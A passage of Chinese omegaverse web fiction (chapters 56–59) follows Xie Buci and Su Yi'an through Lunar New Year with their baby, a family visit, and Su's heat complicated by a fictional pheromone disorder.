大多数omega都是口是心非的,尤其像苏以安这种人死了嘴还硬着的。 谢不辞不是一点打算都没有,只是苦于不知该怎么跟苏以安开口。 他们的关系摆在那里,不管商量什么都会导致气氛很奇怪。 “我很认真的跟你讲,你先别急,我就说两句。” 今天大年三十,初一那是要走亲戚的,豪门也不例外,只不过家里有钱的更多的是搞形式主义。 很久之前谢不辞他妈就告诉过他,因为之前他总乱搞弄出来一大堆烂摊子,这个孩子他必须想办法给七大姑八大姨的都解释清楚。 “就是……雪团户口在我名下,圈子里七嘴八舌的议论了好一阵子,我原想着,明天带他去串个亲戚,收点压岁钱。” “完事给他新开个卡,把钱存进去,到时候等他成年了就给他,不管是他想创业还是怎么样,我都会尊重他。” 苏以安没有发表意见。 他们两个人就算身体距离这么近,也依旧像是隔了很远。 谢不辞见他没什么表示,觉得没有提前跟他商量,现在通知也不太礼貌,就只得硬着头皮继续开口:“……毕竟你也是孩子爸,你不太放心的话,就也跟着一起去?” “你在问我吗?” “啊?那不然呢?” 以前过年走流程这种事情他们家管家都会提前安排好,不需要谢不辞操心,包括朋友之间相处,大家都会因为他家有钱对他各种包容,就导致他是真不懂这些乱七八糟的弯弯绕绕。 他本意是想告诉苏以安,跟着去最好,不愿意的话,那就再安排。 “你要是真的想让我去,在刚定下来的时候就应该跟我讲,而且你来邀请我,你不应该拿出诚意来吗。” “见着点熟人不尴尬吗,我空着手去啊?” “既然没有这个打算,为什么说这种话的时候要把我带上?” 谢不辞真的很直脑筋,苏以安话里的刺就差怼到他脸上扎了,他也才刚看出来苏以安好像有那么一丢丢的情绪不对。 他不知道该怎么接话,也不明白这种情况做什么才是对的。 所以脑子和嘴各干各的活。 脑子再回忆蒋泽跟他讲过的各种技巧,嘴却开口就是一句:“其实你要是没那么介意的话,我也可以跟你求婚。” 见到苏以安有些震惊有些疑惑的表情,谢不辞才后知后觉的反应过来自己说了什么,立马补救:“我不是那个意思。” “不对,也不是跟你闹着玩,就……” 这会谢不辞根本不知自己在胡言乱语什么,但说都说了,索性也就破罐子破摔想说什么都要一次性讲完了。 反正头都打了,苏以安一定会因为这件事跟他有更深的隔阂,还不如趁着机会把话说开。 “我是认真的,我没有再想用什么下作的手段逼迫你了。” “我又不是没见过孩子,这有什么可三分钟热度的,你爱雪团我就不爱了吗。” “要是真的对他不上心,我就该在保姆那件事情里就撒手不管,生病的孩子最麻烦了。” 越说越觉得不对劲,但谢不辞根本抓不住重点,他都做好准备要等苏以安来骂他,再顺着苏以安的话往下解释了,结果苏以安什么都不说。 两人又开始面对面的大眼瞪小眼。 直到苏以安开口打破僵局:“你要是准备好了,那我也没什么可说的。” “跟你有关的,我心情好懒得搭理就算了,心情不好能说出点什么来,你自己寻思着。” 他答应得有些突然,以至于谢不辞一时之间不知道该做什么反应。 没等谢不辞再说什么,苏以安就径自走出了厨房。 事情顺利得有些不太对劲。 谢不辞有种不出意外就一定得出点意外的直觉。 第57章 第 57 章 后面晚饭也吃得马马虎虎。 看起来是挺丰盛的, 标准的北方年夜饭,满满当当一大桌子,还有各种炖菜。 卖相都挺不错的。 因为做了一半谢不辞就发现, 这玩意自己整, 那简直是毫无悬念的既不好看也不好吃。 然后在经过了他俩瞎忙活半天的努力之后, 两人一致决定, 趁着外面还有饭店没关门, 赶紧点外卖。 所幸他们运气也不算差,找了附近好几家饭店,拼拼凑凑的倒是也把菜品凑齐了。 但是很不幸的是—— 选的这几家饭店,都不那么好吃。 没有到难以下咽的份上,却无论你怎么努力都喜欢不起来。 不上不下不好不坏的卡在那里,最让人难受。 吃得很痛苦,倒掉还觉得浪费。 电视里放着春晚节目, 笑笑闹闹的确实不会显得房间寂静,两个大人加个孩子挤在同一个沙发上,真的很有一家三口的温馨氛围。 可能雪团从来没见过两个爸爸这么和谐的挨在一起的场面, 有些新奇的凑在两人中间东看看西看看。 连手里的玩具啥时候掉的都没注意。 谢不辞的注意力完全不在电视节目上。 这会窗外断断续续有人放烟花, 屋里开着大灯, 他偏过头就可以看见苏以安的侧脸。 知道十二点家家户户都放烟花,小区里也会热闹个十几分钟,谢不辞想着反正要早起,还不如通宵。 但孩子不到十点就已经困得自己在沙发上坐不住了。 苏以安没把谢不辞轰到对门,只虚掩上卧室门带着雪团回了卧室。 两个人都各怀心事。 谢不辞觉得要带苏以安回家至少要拿出些诚意来,不说要准备得多隆重, 至少不能让苏以安站在他旁边名不正言不顺的被那些看不惯他的亲戚戳脊梁骨。 因为未婚先育,真的不怎么好听。 但这种不痛不痒的暗戳戳埋汰几句, 只要苏以安不离开他身边,他都能解决掉、 问题是—— 凌望。 这种活动,说好听了叫串串亲戚办个宴会,说不好听了就又是小型联谊。 别人家谢不辞不清楚。 他们家几辈人传下来,那有战友情谊的只会越来越多。 这也是过年的节目。 所以,大家网状关系一撒下去,人是一定少不了的。 说不准哪家一听见点风声,就看热闹不嫌事大的把凌望给请过来了呢。 谢不辞虽然乱玩,但至少很有原则的为了避免尴尬不会碰圈里人。 凌望是个意外。 就说常在河边走,哪有不湿鞋的。 他俩要是再撞上,保不齐又会演变成一场灾难。 按照谢不辞最近追老婆遇上的一系列抓马事件来看,他根本不需要去问凌望有没有被邀请。 问了也没用。 就算没有,也没人敢说凌望就一定不会来砸场子来截胡。 十二点整。 就算卧室关了灯,谢不辞也能从门缝里看到从窗户那边透过来的光亮, 他们住在十五层,看烟花的视角极好。 雪团被这噼里啪啦的放爆竹的声音吵醒就开始哭,谢不辞怕苏以安一个人哄不过来,就自觉走进卧室帮忙。 但苏以安只让他去把窗帘拉开。 雪团看见烟花的彩色光亮便止住了哭声,只是依旧因为害怕紧紧搂着苏以安的脖子。 热闹了一阵就重新恢复了寂静。 不出意外,凌晨四五点的时候,还会有好心的邻居断断续续的再放一波来喊他们起床。 高档小区也不例外。 谢不辞说,以前他回家过年,哪怕不确定这个小区里有没有人住,也会专门在自己早起的时候,来这边放俩炮仗。 就怕住在这的人听不见声响显得可怜。 这小区有专门放烟花的地方。 他这么想,肯定也得有幼稚的老板这么想。 谁早起不带怨气啊,一年到头也就这么一个日子口不挨骂,那不得多放点? 第二天一早,确实天还没亮,卧室里便三个人都醒了。 特殊的日子,完全不需要闹钟。 谢不辞提前去对门找给雪团准备好的衣服,然后又换上了高定西装。 苏以安不需要谢不辞提前给准备衣服什么的,做小情人的,根本不缺像样的衣服穿。 而且苏以安囤起来的衣服都是很经典的款式,放了几年也不算过时,再加上他本身就有一张很抗打的脸,只会显得衣服更高级。 外面的天还是全黑的。 越长大,就越对过年没有概念。 尤其是在对亲戚没什么感情,也没什么只有在这种日子才能吃到的东西,和只有在这种时候才能见到的人的情况下。 谢不辞和苏以安特别有默契的没有提做造型的事情。 还带着雪团一起,上了车就睡。 只是人只要离开了舒适环境,就很难再睡得着。 尤其是冬天这种穿多少都冷的状态下。 以至于谢不辞还有点悲春伤秋。 途中还看着前面一直都没说过话的司机那背影,带着那要跟路边的狗都喝两杯的劲搭话:“兄弟你大过年的还要过来上班,你烦不?” 他这话一说完,苏以安就明显感觉到司机坐着的姿势僵硬了些许。 随后司机吞了口口水,有些不自然的接话:“您不用这么问,这是我的工作。” 谢不辞还想再说点什么,但话还没说出口,就被苏以安拉住:“你要是睡不着,你就抱孩子,我能睡。” “少整那没有用的,不知道的还以为你对人家有多大意见,想找茬给人家辞了呢。” 不好说是谢不辞脑回路清奇,还是有阶级差距思想确实不太一样。 这司机苏以安认识,很久之前是给高中学校开校车的,后来因为儿子上大学,才来这边城市发展。 家境一般,家里供着两个孩子上学,标准的上有老下有小的温饱家庭。 后面来谢不辞家干司机,除了离家远了一些,比以前开校车挣的多多了。 而且谢家从来不亏待员工,不管是公司里的还是保洁厨师一类的,开的工资比其他豪门高很多。 所以跑这一趟,没准人家一天挣了一个月的钱。 大年初一,还只跑早晚。 开心都来不及呢,有啥好烦的。 谢不辞把雪团接过来,才想起好像出门之前没给孩子冲点奶粉。 这车是从他家别墅开过来的,不是谢不辞最常开的那辆,车上也没有给孩子准备的零食。 饭都没让孩子吃上。 只是起的太早了,车上有暖气,雪团也昏昏欲睡的,很听话很老实的谁抱就跟着谁。 到了谢不辞家别墅,他们还没从车上下来,谢不辞就看见他爸妈专门站在门口等着他们回来。 这会他才想起,这不是他的车。 带着苏以安来见他爸妈,也没想着给苏以安准备点什么。 空着手过来,他家人虽然不会觉得有什么,但情理之中好像有点过不去。 不过知子莫若母,谢夫人就像早就料到会出现这样的场面,于是在苏以下车以后,立马热情的拉住他的手。 “这是阿姨第一次正式见你,也没什么好给你准备的,大过年的,这就算是阿姨的一点心意。” “跟谢不辞没什么关系,你别多想。” 苏以安收到红包还有点手足无措,先愣愣的喊了一句阿姨好,然后就开始组织语言想着把红包退回去。 说是红包,可人家的红包都是纸包的。 谢夫人给的这个,真的是沉甸甸的一个包。 像是那种,老式纸包糕点的包法,只是估计提前就准备了,样式弄得很精巧,也一看就包了十好几万进去。 而且苏以安接过来的时候第一下差点没捧住,然后就从包装外面摸到了藏在中间的银行卡。 是真的给了好大一笔钱。 谢夫人也知道苏以安不太好意思收下,在对方拒绝之前,率先把人带进屋,然后让谢不辞接过红包替苏以安带着。 进屋以后也不忘给雪团一个,当做是新年的压岁钱。 但雪团会喊爷爷奶奶,不会说新年快乐或者过年好之类的,苏以安现场教也没教明白。 一家人都聚在客厅,桌上摆着各种干果水果和糖。 苏以安还在那专门招待客人的摆盘里,看见了话梅和葡萄干。 他知道谢不辞家没人喜欢这些东西,以往这两种东西从来不会出现在他们家桌子上。 这是专门用来招待他的。 从他答应跟谢不辞回来到现在,连十个小时都没有。 谢夫人也注意到了苏以安的目光,专门把话梅和葡萄干那小盘放到苏以安面前,还朝他笑了笑。 “确实是专门为你准备的,但不是匆匆忙忙。” “之前就觉得该见一见你,所以朝你朋友问了你的口味喜好,想专门请你来家里吃饭。” “不过我去找你的话,既会让你觉得不自在,又会像是为了处理雪团的事情专门逼迫你。” 苏以安有点不知道该说什么。 谢夫人比谢不辞有情商多了,还温柔细腻,方方面面都能考虑到。 而且跟他交流,不揭他任何伤疤,可以恰到好处的将气氛维持在所有人都不会觉得尴尬,又不会冷场的状态。 很符合苏以安对大家闺秀豪门太太的刻板印象。 聊了几句以后,家里就开始断断续续的进来一些过来串门的亲戚。 拎着大包小包的礼品。 而所有人进门的第一眼,看见的都是谢不辞怀里的孩子和几乎没出现见过的苏以安。 来得最早的是谢不辞的姑姑一家,带着个四五岁的小孩。 小孩从一进门就开始盯着苏以安看,在身旁的家长催促着他喊人打招呼的时候,他才向苏以安开口:“你是谁呀?” 第58章 第 58 章 虽然知道童言无忌, 但这话还是很难回答。 苏以安的身份本来就很尴尬,之前要跟沈伊联姻闹得沸沸扬扬以后,圈子里的人几乎就都知道了苏以安是钟家的私生子。 而同样众所周知的, 还有谢家跟钟家不对付。 所以他不知道怎么开口。 因为无论说什么, 都能被外面一人一口唾沫星子淹死。 然后好巧不巧的, 苏以安不敢说话, 谢不辞还怕自己又哪句话没说对冒犯苏以安, 也站在旁边不知道怎么介绍。 理论上来讲,姑姑是爸爸的亲妹妹,已经属于很近的亲戚了,这么多年来关系一直很好,不需要顾忌那么多。 但小孩这话一问出来,连带着谢不辞姑姑一家都把视线聚集到了苏以安身上。 姑姑是个温婉的女人,注意到谢夫人给谢不辞使了好几个眼色, 谢不辞都没get到,便主动走到苏以安面前。 “你是雪团亲爸爸对吧?” “我大侄子是什么东西我们都知道,他从来不带人回家。” 紧接着就又是时间仓促没什么好准备的, 然后再往苏以安手里塞个红包的流程。 而且谢不辞的亲戚, 给红包都挺大方的。 除了谢夫人觉得给张银行卡或者支票轻飘飘的显得没有分量取了不少现金以外, 大家给的都是大额支票,或者空白支票。 串亲戚的过程中,因为跟谢不辞同龄的都还抱不上孩子,老一辈的人又都喜欢孩子,雪团就显得异常受欢迎。 不知道是极少进这样的场合不太自在还是起得太早没休息好,苏以安从头到尾都给谢不辞一种在强打精神的感觉。 虽然表面上看起来各种行为都得体得让人挑不出毛病, 但谢不辞能从信息素中明显感觉到他很烦躁。 不过好在,这一天过得挺顺利的。 没有极品远亲话里话外的看不上苏以安处处刁难, 也没有发生什么看起来就很让谢不辞头疼的意外。 而且雪团也挺给面子的。 不管谁逗都能咿咿呀呀的跟人家聊两句,收到红包的时候,不会说新年快乐也会朝着人家喊谢谢。 再加上长得可爱,给谢不辞那群从小就认识却没经常见面的老哥们搞得五迷三道的。 然后谢不辞带着雪团和苏以安准备自己开车回小区的时候,发现好儿子别的没学会,就记住了一句偷小孩。 这是谢不辞头一次酒都摆面前了,还一滴都不沾。 他简直觉得自己忍耐力堪比和尚。 在回家路上,苏以安还抱着孩子在车后座替谢不辞算了算今天一共收了多少钱。 今天见到的每个亲戚都很大方,估计有谢夫人提前打过招呼要把雪团带给大家看的原因。 各种类型的高端玩具和红包没少收。 但给雪团的和给苏以安的是单算的。 “给雪团的压岁钱我算过了,加上你爸妈的,有个大几百万。” “看得出来挺重视的,我再给添一点,然后压岁钱单独存起来。” “还有你让我收下的那些说是给我的,一会我都给你送到对门,大概算了算,应该也有个几百万。” 本来过年这个时间街上车就很少,再加上到了晚上,这一路上几乎畅通无阻。 因为中午没什么时间休息,雪团上了车就开始睡,这一天下来把孩子累得,连外面有放烟花的声音都没被吵醒。 谢不辞在等红灯的间隙听着苏以安算的账,前面都挺正常的,他也没什么意见,直到听见苏以安要把今天收下的钱给他送到对门,才专门回应。 “给你的你就拿着呗,还专门给我送到对门干嘛。” 他以前从来不带任何人回家,身边谁跟着他,他都不会让除了特别亲近的那几个朋友以外的人知道。 所以哪怕今天谢不辞都把苏以安当成是自己男朋友介绍,该给的见面钱也没一个人少给。 因为苏以安是雪团亲爸爸。 似乎是怕前一句话没什么说服力,谢不辞还特意解释了一下:“我不缺这点,雪团还不到一岁,也没必要那么着急给他存钱。” “况且,给都给你了,你就拿着呗。” 后座许久没传来回答。 就在谢不辞以为苏以安跟孩子一块睡着了的时候,才听见苏以安重新开口:“我不缺钱了。” 谢不辞不知道该怎么理解这句话,只知道苏以安的语气里透着他光是听起来就觉得沉闷的疲惫。 他不想气氛变得更压抑,于是故作轻松的安慰:“那谁会嫌钱多呢,大不了就留着养咱俩二宝用呗。” “孩子要喝奶粉要玩具,衣服也需要买得很勤,再大一点要上学,后面还会有补课班兴趣班,孩子需要社交,社交就得花钱。” 虽然没养过孩子,但谢不辞还没忘自己是孩子的时候到底能有多费钱。 “一定需要那么高的生活质量吗。” 今天收到的这大几百万,存到银行里,足够一个不嫖不赌的普通人,在二三线城市买套房子,然后生活富裕,可以不工作轻轻松松的过一辈子。 可能阶级差距一辈子都无法跨越。 哪怕苏以安已经在富人圈里摸爬滚打了这么多年,也还是没法理解谢不辞思考问题的方式。 “算了先不说了,有点累,一会你带雪团去对门睡,明天见。” 路上花费的时间不算多。 到了小区单元门楼下,除了比较重要的随身物品,剩下乱七八糟的东西都被扔在了车上。 因为怕车里的温度和外面差得太多,苏以安给雪团又多裹了两条小毯子才把孩子递到谢不辞怀里。 今天晚上就没有那么吵了。 回到家谢不辞轻手轻脚的把孩子送进卧室,换下西装,简单洗了个澡,然后轻手轻脚的去对门看了一眼。 今天一整天都感觉苏以安脸色不太好,加上怀孕初期都比较辛苦,他身体底子还差。 放他一个人住,谢不辞实在放心不下。 谢不辞打开房门进去的时候,屋子里没有一盏灯是亮着的。 摸黑走进去,苏以安已经换好睡衣在卧室睡着了。 他伸手试了试对方额头的温度,见没什么异常才回自己家卧室和孩子一起睡。 第二天一大早。 谢不辞是被他妈的电话铃声喊起来的。 他眼睛都还没睁开,就听见他妈喊他带上孩子赶紧回家。 重点是带上孩子。 意思就是把孩子留下,他就可以走了。 刚起床人也不是很清醒,谢不辞还以为他妈喊他回家是有什么很重要的事情。 于是他匆匆忙忙都起身收拾东西,雪团也在还顶着有些迷茫的表情看向谢不辞的时候,被稀里糊涂的套上新衣服抱出家门。 谢不辞一手抱着孩子一手拿着手机和车钥匙。 电梯都按了,他才恍惚意识到了什么,而后一直罢工的脑子才终于开始转弯。 因为—— 谢不辞在两家中间的这条走廊里,闻到了信息素的味道。 苏以安的。 味道很浓,不是平时正常社交距离的那种若隐若现的感觉。 他还不太好形容。 让他猜的话……大概又是……发情期? 第59章 第 59 章 因为对信息素功能障碍这种病了解很少, 所以谢不辞下意识紧张。 他趁着电梯上楼的空隙打电话给沈伊,然后在电话还没接通的这几秒钟里,跟雪团商量先进对门看一眼爸爸, 然后今天就等着跟爷爷奶奶过。 雪团对苏以安的依赖性很强, 基本谢不辞刚开口就得到了拒绝的回复。 现在是早上八点十分。 很尴尬的时间。 大过年的, 串亲戚已经开始了, 唠上以后看手机会显得特别不礼貌, 所以电话响了好久都没有人接。 谢不辞几乎没什么处理意外情况的经验,每次遇上这样的事情都会手忙脚乱。 整个人都发蒙。 他输密码进了苏以安家,然后把孩子放在客厅沙发上,自己去卧室。 卧室的门本身就是虚掩着的,床头柜上还放着一杯正冒热气的水,应该是苏以安在他进门之前就起来过。 水边还有瓶包装上印了一大串不知道是哪国语言的药,没开瓶, 谢不辞觉得苏以安是想等水凉一点再吃。 床上只有缩成一团的被子,和枕头上露出来的几缕头发。 谢不辞拍了拍被子,然后坐到床边。 “怎么了这是?” “你不舒服怎么不知道打电话把我从对门喊过来?” 回应谢不辞的, 是苏以安带着被子往床内侧缩了缩的动作。 觉得可能是自己信息素的味道让他更难受, 谢不辞还主动翻了翻床头柜, 给自己整了个信息素抑制贴。 还没等他伸手去把被子掀开一点,手机屏幕就重新亮起。 谢不辞低头看了一眼。 是沈伊打回来的电话。 接通以后谢不辞还没开口,就能从电话那头的语气中听出沈伊的焦急:“他怎么了?你俩现在在哪?” “在小区里,我在他家。” 紧接着谢不辞又急得前言不搭后语的叙述了一遍事情经过。 但理论上来讲,信息素功能障碍这种病,在初期确实是没什么明显症状的, 也从来没人说过会没有发情期,只不过是抑制剂的效果越来越差, 直到被完全免疫。 “那我应该怎么办?” “我也不知道。” 得到沈伊的答复以后两人都对着手机沉默了几秒。 沈伊最多只能跟谢不辞讲,不要让苏以安用带抑制成分的药物。 但让人没有抑制剂生生扛过发情期好像也挺残忍的。 然后谢不辞就开始乱问:“这种病就真的完全不能治吗?把腺体切除也不行吗?” 医学文献上记载,腺体切除以后寿命会减少百分之四十。 只是减少寿命,没说切除后活不下来。 “你好聪明啊兄弟。” “你觉得你能想到的,那帮坐在实验室里对着细菌病毒研究大半辈子的教授考虑不到吗?” “有用的话,还至于这么多人对着这一种病头疼吗。” “我学了那么多年,我比你还着急呢,你快少说两句吧。” 沈伊后面跟谢不辞讲,病情还没恶化到那个程度,还不至于完全没法接触信息素。 就算他俩是情敌,沈伊也还是很理智的告诉谢不辞,如果苏以安不抗拒的话,可以拿信息素尝试着安抚一下。 谢不辞知道沈伊专门学这个学了很多年,病例稀少,也没什么参考文献,再加上沈伊对苏以安有点不太单纯的心思,苏以安要是真的出点什么事,沈伊比任何人都急。 而且说话的这会功夫,沈伊已经在筹备往回走了。 只不过出了城走得比较远,最快也得四五个小时才能回来。 挂掉电话,谢不辞又皱着眉给他妈打电话,让她找人过来接孩子。 老婆孩子都是需要照顾的,他就是有三头六臂,也还是会力不从心。 都安排得差不多了以后,谢不辞放下手机,喊了苏以安两声。 见对方没给自己回应,才试探性的拽了两下被子。 但他的手刚碰到被子,苏以安就往床内侧缩,躲他远一点。 “你躲着我,是因为我在这,我的信息素会让你不舒服吗?” 被子里传出来的声音有些模糊不清,还答非所问:“你把孩子带到哪去了?” “孩子在客厅,一会我妈会亲自过来接他,你不用担心他。” 从最近的相处来看,谢不辞发现,雪团其实算不得粘人小孩。 谁带他其实没多大区别,只是他跟苏以安比较亲近,能察觉到苏以安有想抛弃他的想法,他才一定要其中一个爸爸带着他。 “你先去看孩子,等有人把他接走再回来,我没什么事。” 话虽然是这么说,但信息素浓度真的很高。 谢不辞一伸手,就摸到了被子上的潮湿感,不难猜到捂在被子里要出多少汗,且苏以安扒拉他的那只手皮肤都泛着微粉色,就让这句没什么事显得异常苍白。 “你真的可以不用守在我这。”、 话是这么说,可谢不辞还是不太愿意离开。 哪怕知道他留在卧室他也做不了什么。 打破僵持的,是雪团在客厅喊爸爸都声音。 孩子本来懵懵懂懂的自己坐在沙发上玩玩具,不知道两人在卧室里干什么才没人管他,却也依旧很懂事的不专门喊人。 直到听见敲门声。 谢不辞出去开门,见他妈站在门口,拎着大包小包的吃的,还像早就料到了他会很震惊一般,主动解释:“我就知道你不靠谱,本来想让你把孩子送过来,但挂了电话越想越不对劲。” “你肯定磨磨蹭蹭的,所以从挂掉我给你打的电话开始,我跟你爸就已经在往这边赶了。” 谢夫人主动进屋抱起雪团,还对着谢不辞嘱咐:“我知道现在去看小苏有点不太方便,你把人照顾好了。” “还有,管好你那张烂嘴,你要是敢在这种时候乱说话给人家添堵,你就等回来挨抽吧。” 她消息很灵通,也觉得谢不辞知道顾及老二不会随便乱来,就只强调了让他说话注意分寸。 送走了谢夫人,谢不辞又重新折回卧室。 他先是伸手试了试床头柜上那杯水的温度,随后才打开旁边那瓶药看了看。 “你放床头的水晾得差不多了,这什么药?一次吃几个?” 药从外观上看不出什么来,是那种瓶装的胶囊,青灰色衔接的,瓶子一打开就让谢不辞觉得这不会是什么正常的东西。 谁好人家胶囊用青灰色的壳。 不知道的还以为是毒药呢。 颜色太鲜艳可能会让人有种毒蘑菇感,可太灰暗还是会让谢不辞不放心他吃。 苏以安从被子里爬出来。 被子里有些闷,加上屋里暖气很足,苏以安爬出来的时候,被额头上汗水打湿的头发都有些贴在脸上,因为姿势原因,皮肤上有好几道被睡衣压出来的那一条一条的痕迹。 宽松的衣服还随着他的动作往下滑,领口处露出好大一片皮肤,顺着谢不辞的角度往下看,可以看见他完美的锁骨线条。 这会谢不辞还蛮正人君子的,不光给苏以安拉好了睡衣领口,还特别认真的替他把扣子一颗一颗的系好。 “那就是之前吃过的药。” 这话一出,谢不辞脑子里立马开始冒出无数个想法。 他试想过无数种可能,偏偏认为,只需要苏以安否定他一个念头就可以了,于是只开口问了一句:“之前吃过的,也不止这一种吧?这治什么的?” “抑制剂滥用后遗症。” 这个名词他俩都不太陌生。 市面上常见的抑制剂都不太可以孕期使用,虽然有孕期特制抑制剂,但拿药特别麻烦,药店禁止售卖。 必须要专门的医生开过处方,办好几道手续,才能取得到。 拿不到,还必须要用,就会有黑产业链随之产生。 也不算是觉得不可思议,只是谢不辞之前从来没敢细想过,忽然把血淋淋的口子撕开摆到他面前,他还挺心情复杂的。 而且抑制剂里的通用成分长期使用会损伤神经,留下一系列失眠偏头痛和精神紊乱等会影响正常生活的问题。 但他们这边抑制剂管控力度很大,A国那边也因为治后遗症这种药不好卖而走预定制。 药品在出厂时就标上了名字,那谁想动点手脚简直轻而易举。 谢不辞有些说不出话来,喉咙干涩,对着苏以安那双无波无澜的眼睛,只觉得心里更五味杂陈的。 两人之间的距离很近,近到只要谁稍微往前凑一点,就可以感觉到对方呼吸的气息。 谁都没有再说话。 两道视线交错的那一瞬间,苏以安伸手揽住了谢不辞的脖子。 随后在谢不辞毫无防备时,另一只手捏起他的下巴,凑上前去,给了谢不辞一个侵略性极强的吻。 那清新的信息素的味道忽然凑的极近,冲击着谢不辞各项感官。 他身体有些僵硬的把苏以安圈进怀里。 一吻结束,还安抚性的拍了拍苏以安的后背。 玩了这么多年了,是什么意思大家都心知肚明。 以至于谢不辞到现在才猛然意识到在高中那会蒋泽就跟他说过的,喜欢和爱有什么区别。 他现在希望苏以安好好的,希望他无病无灾,不再因为钱乱入乱七八糟的圈子里受苦,不愿意他们两个只是单纯的身体欲望关系。 但谢不辞低下头,恰好撞见苏以安那双水汪汪的眼睛。 就那么认真的看向他,不带着什么情欲,却让谢不辞莫名觉得他好委屈。 谢不辞单方面认为,这个吻里,不带一点苏以安想跟他做的意思。 最多最多,只能算作是不知道该怎么对抗疾病的无奈之举。 所以,如果谢不辞不来,最后苏以安自己抗不过去,也还是会选择抑制剂。 他没看到针管的包装,所以没往那方面思考,但苏以安抗拒让他们知道是什么药导致他生这么难以研究的疾病,也不太可能就这么大大咧咧的把药瓶放在床头柜上。 谢不辞揉了揉苏以安的头发。 他说不出什么安慰的话来,也苦于不是专业医生,没什么可以为苏以安做的。 于是只能安静坐在床边,起一点点聊胜于无的陪伴作用。 苏以安没有强求他,也没跟他说话。 但抓着他衣服的手给西装攥出了好几道很难熨平的褶皱。 谢不辞不清楚要怎么样才能让他冷静一些,连安抚性的信息素都要收敛着。 他觉得苏以安可能一整晚都没怎么合眼。 因为床头的手机刚亮屏提示提示电量低,恰巧谢不辞刚进门的时候,看到充电器放在客厅电视柜上面。 而且苏以安身上的衣服和被子都是潮湿的,就算睡着了肯定也睡得不踏实。 所以哪怕谢不辞只是抱着他在床边坐了一会,他就安静了不少,还趴在谢不辞肩膀上有些昏昏欲睡。 怕换了衣服和床单再把人折腾感冒了,谢不辞脱下外套,跟着苏以安一起钻进被子里。 见现在也没发生什么意外,谢不辞就又给沈伊发了消息。 但紧接着又觉得哪里不对劲,把床上他觉得还没睡着的人又重新喊起来:“你上次发情期用了多少抑制剂?” “就刚回来把雪团送到我手上的那一阵,染蓝色头发的时候。” 本来身体上不舒服时间久了,情绪就比较难控制,都要睡着了再被喊起来只会更暴躁。 但苏以安没什么力气开口骂他,只敷衍的回应:“不记得了,不要喊我。” 谢不辞还想再问点什么,不过还是很识时务的保持安静,直到收到沈伊的新消息才放下心来:[他还能睡应该就没多大问题,你别乱跑,等我回去再说。] 发完这条消息没过多久,沈伊又跟特别不放心他似的,又补了一条过来:[你需不需要我喊个没那么门外汉的人过去?] 这下谢不辞会的很快:[不用。] 没多大问题可是主任医师亲口说的,那还有什么需要担心的,别整一大堆外人来打扰他们的二人世界。 他俩不打嘴架的宁静时光有多难得,只有谢不辞自己知道。 后面还有蒋泽给他发的消息,跟他讲季文璟明天就回来,问他要不要一块出来吃个饭,他们顺带给雪团塞点压岁钱。 以前知道季文璟要回来的时候,都是谢不辞和蒋泽一起开车去接,然后晚上三个人一起吃顿好的,再喝个大酒。 虽然蒋泽喊他,他也没法离开苏以安这,但他拒绝和根本没问他完全不是一个概念。 本来是觉得有些不太对劲,转念一想,又暗骂自己怎么这么矫情,玩了这么多年了,还整得像认为人家俩人搞小团体孤立他似的。 谢不辞问他俩定的是什么时候。 大过年的,大家看起来都很忙。 后面他们在小群里一起商量,定的是三天以后的晚上一起吃饭。 定好以后,见苏以安睡得还算安稳,谢不辞就点开蒋泽的小窗,打几个字还疯狂加感叹号,像生怕蒋泽不知道他有多激动一般:[我跟你讲,他亲我了!!!!] [他之前自己说过的,大家都是出来玩的,睡了就睡了,亲嘴就太暧昧了。] [这次是他主动亲我的!] 不管是在什么状态下亲的,不管苏以安是不是清醒的,反正能有这个行为,就够谢不辞开心好几天。 毕竟,他们第一次滚到一起的时候,苏以安就算是被人下过药,也带着要跟他打架的气势,不可能亲他。 还有喝得不省人事那次,也除了真做之外,没有任何亲密举动。 所以在苏以安的认知里,睡了就睡了,但拥抱和亲嘴都是亲密度拉满的禁区。 这可是他追老婆路上的飞跃性进展。 毕竟之前的那些老板,就算出了大价钱,也最高只能获得不痛不痒亲一下脸的待遇。 聊天框备注那一栏的对方正在输入闪烁了好几次,都没见蒋泽发来新消息。 于是谢不辞又开始对着聊天窗口一顿输出:[怎么样,是不是很为我高兴,我就说我们是有感情基础的。] 蒋泽想着他算不得当事人,可能也给不了太多有用的建议,就只平静的回应了一句:[有进度就好,但别太主观了。] 这种情况,最容易当局者迷了。 偏偏谢不辞还是个死性不改的。 就在蒋泽以为,连这种开局都能转向顺风,谢不辞肯定得有很大改进的时候,蒋泽没泼他冷水,他转头就泼蒋泽冷水:[那你觉得,我什么时候才能把人追到手?] [周岁宴行吗,我怕他周岁宴以后就走了。] 众所周知,苏以安是个主意很正的。 前面表现得越顺从,谢不辞越怕他盘算着要搞个大的。 富人圈里鱼龙混杂,苏以安能切断跟所有老板的联系,自己一个人安安稳稳的把孩子生下来还不让任何人提前知道。 一定盘算了很久很久。 最主要的是,这段时间里,不管苏以安有多困难多无奈,雪团都是健康又听话的小孩。 反正,谢不辞不太相信雪团是不掺任何主观感情的,报复他的工具。 然后谢不辞正自信着呢,就收到蒋泽的回复:[什么时候能追到人你不问他你问我?我说话这么好使呢?] 这是隔着屏幕都能感受到的无语,随后紧接着谢不辞又收到第二条消息:[那哥们我宠你一把,年后民政局有人上班你俩立马就金婚,然后百年好合,二宝出生父子平安,直接幸福一辈子就完了。] 知道是抽象,可谢不辞还是觉得挺感动的,连着道谢都说得真情实感的。 蒋泽的回复也一点都没让他失望,一个大牡丹上朝着加油和感叹号的表情包,和三个看起来就阴阳怪气的玫瑰。 好土,还贱得好有个人风格。 放下手机,谢不辞还准备仔细思考一下后面应该做点什么,或者干脆制定一个详细的追老婆计划表。 可因为冬天屋里暖和就容易让人昏昏欲睡,谢不辞没躺几分钟就又睡着了,宏图大计连个雏形都没看见,就被忘得一干二净了。 还是沈伊回来以后的敲门声把谢不辞喊起来的。 谢不辞睁眼的那会还完全没意识到发生了什么。 而且苏以安睡觉很老实,只有他把人当抱枕,摆各种奇奇怪怪的姿势,起床以后身上的衬衫全是褶皱。 他轻手轻脚的起身,简单整理了一下衣服,才离开卧室给沈伊开门。 他俩见面也是相顾无言。 不穿白大褂的沈伊气场就柔和了很多,就算谢不辞能感觉到他挺着急的,也没有在医院看见人那会那么强的压迫感。 沈伊进了卧室以后先是给苏以安测了体温,看见数值正常才松了口气。 “他有没有乱吃什么药?” “没用过各种乱七八糟的抑制剂吧?在发情期碰到信息素是什么反应,有没有明显的抗拒行为?” “发情期初始症状是什么时候开始显现的?具体都有什么症状?” 